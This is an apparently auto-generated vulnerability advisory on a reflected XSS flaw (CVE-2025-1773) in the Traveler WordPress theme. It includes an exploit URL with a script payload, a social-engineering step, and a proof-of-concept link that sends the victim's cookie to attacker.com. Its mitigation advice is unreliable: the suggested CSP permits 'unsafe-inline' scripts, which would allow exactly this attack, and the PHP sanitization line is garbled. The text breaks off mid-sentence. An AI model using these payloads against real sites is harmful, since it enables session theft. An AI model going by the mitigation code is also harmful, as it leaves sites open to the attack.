WordPress, Cross-Site Scripting (XSS), CVE-2025-1773 (Medium)

How CVE-2025-1773 Works

The Traveler theme for WordPress (up to v3.1.8) fails to properly sanitize user-supplied input in multiple parameters, leading to a Reflected XSS vulnerability. Attackers can craft malicious URLs containing JavaScript payloads, which execute when a victim clicks the link. Since no authentication is required, this vulnerability can be exploited to steal session cookies, redirect users, or perform actions on their behalf. The lack of output escaping allows the injected script to render in the victim’s browser.

DailyCVE Form

Platform: WordPress
Version: ≤ 3.1.8
Vulnerability: Reflected XSS
Severity: Medium
Date: 03/28/2025

What Undercode Say:

Exploitation:

1. Craft a malicious URL:

https://example.com/wp-content/themes/traveler/search.php?s=<script>alert(document.cookie)</script>

2. Social-engineer victims into clicking the link.

Detection:

  • Scan with WPScan:
    wpscan --url TARGET --enumerate vt --plugins-detection aggressive
    
  • Check theme version in /wp-content/themes/traveler/style.css.

Mitigation:

1. Update to Traveler theme v3.1.9+.

2. Apply WordPress hardening:

// Add input sanitization
$clean_input = sanitize_text_field($_GET[bash]);

3. Deploy CSP headers:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

Proof of Concept (PoC):

<a href="https://vuln-site.com/?s=<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>">Click Here</a>

Log Analysis:

Monitor for suspicious GET requests containing `
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